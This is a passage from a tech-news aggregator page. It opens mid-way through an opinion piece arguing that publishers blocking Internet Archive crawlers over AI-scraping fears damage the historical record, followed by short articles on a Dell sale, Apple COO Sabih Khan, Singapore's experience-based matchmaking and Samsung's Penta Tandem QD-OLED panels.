In a digital era when few things end up printed on paper, the Internet Archive’s efforts to permanently preserve our digital culture are essential infrastructure for anyone who cares about historical memory.

And now we’re telling them they can’t preserve the work of our most trusted publications.

Advertisement

Think about what this could mean in practice. Future historians trying to understand 2025 will have access to archived versions of random blogs, sketchy content farms, and conspiracy sites—but not The New York Times. Not The Guardian. Not the publications that we consider the most reliable record of what’s happening in the world. We’re creating a historical record that’s systematically biased against quality journalism.

Yes, I’m sure some will argue that the NY Times and The Guardian will never go away. Tell that to the readers of the Rocky Mountain News, which published for 150 years before shutting down in 2009, or to the 2,100+ newspapers that have closed since 2004. Institutions—even big, prominent, established ones—don’t necessarily last.

As one computer scientist quoted in the Nieman piece put it:

“Common Crawl and Internet Archive are widely considered to be the ‘good guys’ and are used by ‘the bad guys’ like OpenAI,” said Michael Nelson, a computer scientist and professor at Old Dominion University. “In everyone’s aversion to not be controlled by LLMs, I think the good guys are collateral damage.”

That’s exactly right. In our rush to punish AI companies, we’re destroying public goods that serve everyone.

Advertisement

The most frustrating bit of all of this: The Guardian admits they haven’t actually documented AI companies scraping their content through the Wayback Machine. This is purely precautionary and theoretical. They’re breaking historical preservation based on a hypothetical threat:

The Guardian hasn’t documented specific instances of its webpages being scraped by AI companies via the Wayback Machine. Instead, it’s taking these measures proactively and is working directly with the Internet Archive to implement the changes.

And, of course, as one of the “good guys” of the internet, the Internet Archive is willing to do exactly what these publishers want. They’ve always been good about removing content or not scraping content that people don’t want in the archive. Sometimes to a fault. But you can never (legitimately) accuse them of malicious archiving (even if music labels and book publishers have).

Either way, we’re sacrificing the historical record not because of proven harm, but because publishers are worried about what might happen. That’s a hell of a tradeoff.

This isn’t even new, of course. Last year, Reddit announced it would block the Internet Archive from archiving its forums—decades of human conversation and cultural history—because Reddit wanted to monetize that content through AI licensing deals. The reasoning was the same: can’t let the Wayback Machine become a backdoor for AI companies to access content Reddit is now selling. But once you start going down that path, it leads to bad places.

Advertisement

The Nieman piece notes that, in the case of USA Today/Gannett, it appears that there was a company-wide decision to tell the Internet Archive to get lost:

In total, 241 news sites from nine countries explicitly disallow at least one out of the four Internet Archive crawling bots.

Most of those sites (87%) are owned by USA Today Co., the largest newspaper conglomerate in the United States formerly known as Gannett. (Gannett sites only make up 18% of Welsh’s original publishers list.) Each Gannett-owned outlet in our dataset disallows the same two bots: “archive.org_bot” and “ia_archiver-web.archive.org”. These bots were added to the robots.txt files of Gannett-owned publications in 2025.

Some Gannett sites have also taken stronger measures to guard their contents from Internet Archive crawlers. URL searches for the Des Moines Register in the Wayback Machine return a message that says, “Sorry. This URL has been excluded from the Wayback Machine.”

A Gannett spokesperson told NiemanLab that it was about “safeguarding our intellectual property” but that’s nonsense. The whole point of libraries and archives is to preserve such content, and they’ve always preserved materials that were protected by copyright law. The claim that they have to be blocked to safeguard such content is both technologically and historically illiterate.

Advertisement

And here’s the extra irony: blocking these crawlers may not even serve publishers’ long-term interests. As I noted in my earlier piece, as more search becomes AI-mediated (whether you like it or not), being absent from training datasets increasingly means being absent from results. It’s a bit crazy to think about how much effort publishers put into “search engine optimization” over the years, only to now block the crawlers that feed the systems a growing number of people are using for search. Publishers blocking archival crawlers aren’t just sacrificing the historical record—they may be making themselves invisible in the systems that increasingly determine how people discover content in the first place.

The Internet Archive’s founder, Brewster Kahle, has been trying to sound the alarm:

“If publishers limit libraries, like the Internet Archive, then the public will have less access to the historical record.”

But that warning doesn’t seem to be getting through. The panic about AI has become so intense that people are willing to sacrifice core internet infrastructure to address it.

What makes this particularly frustrating is that the internet’s openness was never supposed to have asterisks. The fundamental promise wasn’t “publish something and it’s accessible to all, except for technologies we decide we don’t like.” It was just… open. You put something on the public web, people can access it. That simplicity is what made the web transformative.

Advertisement

Now we’re carving out exceptions based on who might access content and what they might do with it. And once you start making those exceptions, where do they end? If the Internet Archive can be blocked because AI companies might use it, what about research databases? What about accessibility tools that help visually impaired users? What about the next technology we haven’t invented yet?

This is a real concern. People say “oh well, blocking machines is different from blocking humans,” but that’s exactly why I mention assistive tech for the visually impaired. Machines accessing content are frequently tools that help humans—including me. I use an AI tool to help fact check my articles, and part of that process involves feeding it the source links. But increasingly, the tool tells me it can’t access those articles to verify whether my coverage accurately reflects them.

I don’t have a clean answer here. Publishers genuinely need to find sustainable business models, and watching their work get ingested by AI systems without compensation is a legitimate grievance—especially when you see how much traffic some of these (usually less scrupulous) crawlers dump on sites. But the solution can’t be to break the historical record of the internet. It can’t be to ensure that our most trusted sources of information are the ones that disappear from archives while the least trustworthy ones remain.

We need to find ways to address AI training concerns that don’t require us to abandon the principle of an open, preservable web. Because right now, we’re building a future where historians, researchers, and citizens can’t access the journalism that documented our era. And that’s not a tradeoff any of us should be comfortable with.

Advertisement

Filed Under: ai, archives, culture, libraries, scanning, scraping

Companies: internet archive, ny times, the guardian, usa today

Source link

Advertisement
Continue Reading

Tech

Dell’s Presidents’ Day sale is a goldmine for professionals

Published

on

Dell’s running a superb Presidents’ Day sale right now – and I’ve been browsing the desktop and laptop deals to find some top picks for business professionals.

For general productivity, you can’t go wrong with the Dell 15 Laptop, now $499.99 (was $719.99). Although there’s forever a place in my heart for the ultra-lightweight XPS 13 that’s also in the sale. It’s so good, it’s long been part of my best business laptop guide.

Advertisement

Source link

Advertisement
Continue Reading

Tech

Who is Sabih Khan, Apple's Chief Operating Officer and potential CEO

Published

on

Sabih Khan is the chief operating officer at Apple, but while he has been in the role for less than a year, his tenure at Apple has lasted for decades. Here’s all you need to know about the guy in charge of Apple’s operations.

Bald man with glasses wearing a blue button-up shirt, smiling confidently, standing against an aerial view of a large circular futuristic office complex surrounded by greenery
Apple COO Sabih Khan

When it comes to Apple executives, Sabih Khan is probably one of the lesser-known personalities. While CEO Tim Cook is famous, as are other managerial members like Craig Federighi and predecessor Jeff Williams, Khan has been less prominent in the company so far.
That is in part due to having only been COO for the organization for a very short period of time compared to his executive peers. As he spends more time in the prominent role, he will become more well-known outside of the company, but it will take a while for him to become more established.
Continue Reading on AppleInsider | Discuss on our Forums

Source link

Continue Reading

Tech

Sick of dating apps, more S’poreans turn to “experience-driven” matchmaking

Published

on

Singaporeans are now chasing experiences, not swipes

In May 2025, several Singaporean singles boarded a group trip to Japan together—but it wasn’t their usual holiday.

Not knowing each other’s age, occupation, or relationship history, participants were paired on daily “dates,” wrote anonymous letters to those who caught their eye, and completed mini couple missions designed to spark connection.

Like contestants on dating show Single’s Inferno, they shared rooms with others of the same gender, navigating growing crushes, shifting dynamics, and the occasional emotional revelation.

This is Until 11:11, a Singapore-based dating and social experience platform that runs curated overseas trips and singles mixers. And it’s part of a movement of experience-driven matchmaking that’s gaining traction as more Singaporeans grow fatigued with traditional dating apps.

Advertisement

Not your usual matchmaking experiences

At Until 11:11’s overseas singles trips, participants get to know each other over the course of four to six days. There is a focus on numerology (a practice that offers insights into personality, compatibility, and life tendencies based on an individual’s birthdate and name), apart from a mix of structured activities and free-form socialising.

After all, the platform—whose name nods to the angel number 1111, often associated with major life changes—was built around the idea of transformation and connection, explained Ching Ling Leo, the co-founder of the business.

Ching Ling, a 25-year-old student at the Nanyang Academy of Fine Arts, runs Until 11:11 together with business owner Ric Ang, 50. The pair met when Ching Ling interned at a company where Ric was working, and began hosting numerology-themed singles events in Singapore in 2024.

(Left): Until 11:11 founders Ric Ang and Ching Ling Leo; (Right): Ching Ling at a singles mixer hosted by Until 11:11 for participants in their 30s and 40s./ Image Credit: Until 11:11

Until 11:11’s local parties, held once every two to three months with about 30 participants, offer compatibility readings, tarot sessions, and even crystal-making workshops, giving attendees a unique lens into themselves and others.

The platform takes it a step further with its curated overseas trips. Launched last year, these experiences are amplified beyond the confines of a typical singles mixer, and demand appears strong, too.

Advertisement

To date, Until 11:11 has organised seven groups of singles trips, typically in groups of less than 20, to destinations including Vietnam and East Malaysia, despite prices reaching up to S$1,800 per participant.

Participants at a Fishbowl singles pitch night./ Image Credit: Fishbowl

Overseas singles trips are not the only experiential dating concept on the rise in Singapore. Across the city-state, Fishbowl offers a different take: a “Shark Tank–style” singles pitch night.

Here, participants spend an evening putting themselves—or their friends—on stage in three-minute pitches. “The idea is simple—put together your best three-minute PowerPoint presentation (or a pitch in any other format), show up and present it, and mingle afterwards to get to know new people,” shared Joell Tee, the 28-year-old behind the initiative.

Joell started Fishbowl together with a friend after coming across a similar event held in Vietnam via TikTok. Initially, the duo hosted a small gathering for friends and friends of friends, but the concept quickly caught on, eventually drawing the attention of brands and larger audiences.

Since the first in Aug 2024, Joell has held four Fishbowl sessions, collaborating with brands such as Oatly and Coffee Meets Bagel to bring together singles and friends in a lively, interactive setting that can host up to 100 participants per event.

Advertisement

The work behind curated matchmaking

A singles retreat organised by Until 11:11./ Image Credit: Until 11:11

However, events such as these are far from easy to organise. Overseas trips, in particular, come with a host of logistical complexities.

To handle the details, Until 11:11 partners with I Quadrant Travel Agency, which takes care of travel arrangements and on-the-ground logistics. Each trip is also planned at least six months in advance to ensure they run as smoothly as possible.

There’s also the matter of safety and vetting participants. To sign up for an Until 11:11 trip, potential attendees fill out a Google form, which allows the organisers to handpick participants. Applicants are asked to include a social media handle with a visible photo, along with a brief explanation of why they would be a good fit for the trip.

Invitations are then sent to participants deemed suitable. “The selection process and invitation sending are manual and time-consuming,” said Ching Ling, adding that overseas trips are often scheduled back-to-back with local singles events, leaving little time for rest.

Nam Soeun, founder of Teddy Lounge./ Image Credit: Teddy Lounge

Until 11:11 isn’t the only platform taking a curated approach to modern dating. Teddy Lounge, a private, invite-only dating app, operates more like a members’ club than a typical matchmaking platform—and that means more work for founder Nam Soeun.

Every applicant is screened before being admitted. Profiles are reviewed manually, background details are assessed, and shortlisted candidates may even go through interviews to determine suitability. Soeun enlists a handful of “managers” to help with this process—they not only review applications, but also personally deliver physical invitation cards to suitable applicants and explain how Teddy Lounge works.

Advertisement

Memberships hinge on a “medal” system. These medals certify certain traits or achievements, and can include high income (minimum S$100K annually, verified via payslips or tax documents), ownership of prime properties, academic excellence, or social influence.

Teddy Lounge’s medals./ Image Credit: Teddy Lounge

Prospective members need at least one medal to gain access. According to Soeun, the medals aren’t meant to rank or judge members—they simply set expectations up front, reducing awkward early-stage questions and making connections more transparent from the start.

Currently, Teddy Lounge is in pre-launch, with around 500 early users already onboarded, according to its website. Soeun shared that members appreciate the platform as a space for “more natural, meaningful connections, romantic or otherwise.” The app is scheduled for an official launch in early 2026, pending final testing and refinements.

Finding meaningful connections isn’t a sure shot

Though more are turning to these platforms, finding meaningful connections isn’t a sure shot—however, the intentional approach may improve the odds.

On Teddy Lounge, users can unlock just three profiles per day—a deliberate limit to encourage “slower, more thoughtful” engagement. For those who don’t find a match right away, the app offers other ways to connect.

Advertisement

Its “Party” page, for instance, lets members share or join interest-based social activities. “Some users have met through activities like poker nights on the Party page and became friends rather than romantic matches,” shared Soeun.

Until 11:11’s local singles mixers./ Image Credit: Until 11:11

As for Until 11:11, most participants become good friends and remain in contact long after, shared Ching Ling. Some form couples, others may not fully connect with the group, but still “leave with a stronger understanding of themselves.”

Initially, Ching Ling and Ric measured success by how many couples formed at their events. But it was soon clear that this metric couldn’t capture the full impact of the experiences.

Even if people are together now, they might part ways in the future. There’s no real way to gauge whether it’s “good” that two people got together, only that their meeting was fated.

Ching Ling Leo, co-founder of Until 11:11

On a more tangible level, she shared that success could be seen as customer satisfaction, like “seeing participants having fun or hanging out,” but those moments are “fleeting.”

Advertisement

“Now, we see success as when participants are able to fully open themselves to the experience, embracing all their emotions and walking away feeling that they’ve learned something about themselves or life.”

Could this mark the end of traditional dating apps?

When asked about dating trends in Singapore, Ching Ling observed that there has been “a lot of singles mixers” popping up over the last few months. To her, it signals a “growing desire for real connections beyond screens.”

While the surge inevitably brings more competition for Until 11:11, she believes it’s ultimately positive for Singapore’s dating scene. Different platforms can cater to different audiences and intentions—a contrast to traditional dating apps, where users are often part of a wide, generic pool.

For many of these app users, the experience is tiring and frustrating: mismatched intentions, undefined relationships, and endless dead-end texting. Curated experiences can cut through that noise.

Advertisement
Joell Tee (left) with her friend and Fishbowl co-founder./ Image Credit: Fishbowl

But not everyone sees the rise of curated experiences as a rejection of traditional dating apps.

Joell, the founder of Fishbowl, views them instead as a complement to the online dating experience. “I still believe that apps are an incredibly helpful tool to help you connect with people,” she said.

In a recent collaboration with Coffee Meets Bagel, Fishbowl tapped into the app’s user base to drive attendance at its pitch-style singles event, showing how digital and offline dating experiences can reinforce each other.

The goals of apps and in-person events are the same: put yourself out there, be open-minded and make connections.

Joell Tee, co-founder of Fishbowl

Ultimately, it’s about creating opportunities for people to engage in ways that feel authentic to them—whether that’s through a screen, in a curated group setting, or both.

Advertisement
  • Read other articles we’ve written on Singaporean businesses here.

Featured Image Credit: Until 11:11/ Fishbowl

Source link

Advertisement
Continue Reading

Tech

Samsung’s new Penta QD-OLED tech promises brighter, longer-lasting screens

Published

on

Samsung Display has officially named its latest QD-OLED panel upgrade — QD-OLED Penta Tandem — and it’s designed to boost brightness and durability across premium monitors and TVs.

The key change is a shift to a five-layer blue OLED structure, up from four layers in the previous generation.

Samsung says this revised stack, combined with updated organic materials, spreads energy more efficiently across the panel. The result is higher brightness potential and longer lifespan without simply pushing more power through the display.

That matters most as screens get sharper. With higher pixel density — particularly in smaller 4K monitors — each pixel has less physical space to emit light. Keeping brightness consistent becomes harder. Samsung claims the Penta Tandem design improves luminous efficiency by 1.3x over last year’s panels and doubles panel lifespan. Consequently, this potentially allows either brighter highlights at the same power draw or similar brightness with lower strain.

Advertisement

Advertisement

On headline figures, Samsung cites peak brightness of up to 4,500 nits for TVs and 1,300 nits for monitors, measured at a 3% on-pixel ratio (OPR). While that represents a small highlight window, it’s a useful indicator of HDR headroom for specular highlights like reflections or UI elements.

The upgrade is rolling out across several flagship panel sizes this year, including 27-inch 4K (160 PPI), 31.5-inch 4K, 34-inch WQHD, and an upcoming 49-inch Dual QHD model. Additionally, Samsung says the same five-layer approach has already appeared in high-end self-emissive TV lineups from major partners since 2025.

High-resolution monitors could see the biggest benefit. Samsung points to its 27-inch 4K QD-OLED panel at 160 pixels per inch, claiming it’s currently the highest pixel density among self-emissive gaming monitors. In fact, Samsung is the only company mass-producing that specification.

Advertisement

There’s also a certification angle. Panels using Penta Tandem can meet VESA DisplayHDR True Black 500, and Samsung says the only 31.5-inch UHD monitor currently certified at that level is built on its panel.

For shoppers, “Penta Tandem” isn’t a model name but a panel generation marker. Therefore, if you’re considering a 2026 OLED monitor or TV, it’s worth checking whether it uses the new five-layer stack — especially if strong HDR highlights and long-term panel health are priorities.

Advertisement

Source link

Advertisement
Continue Reading

Trending

Copyright © 2025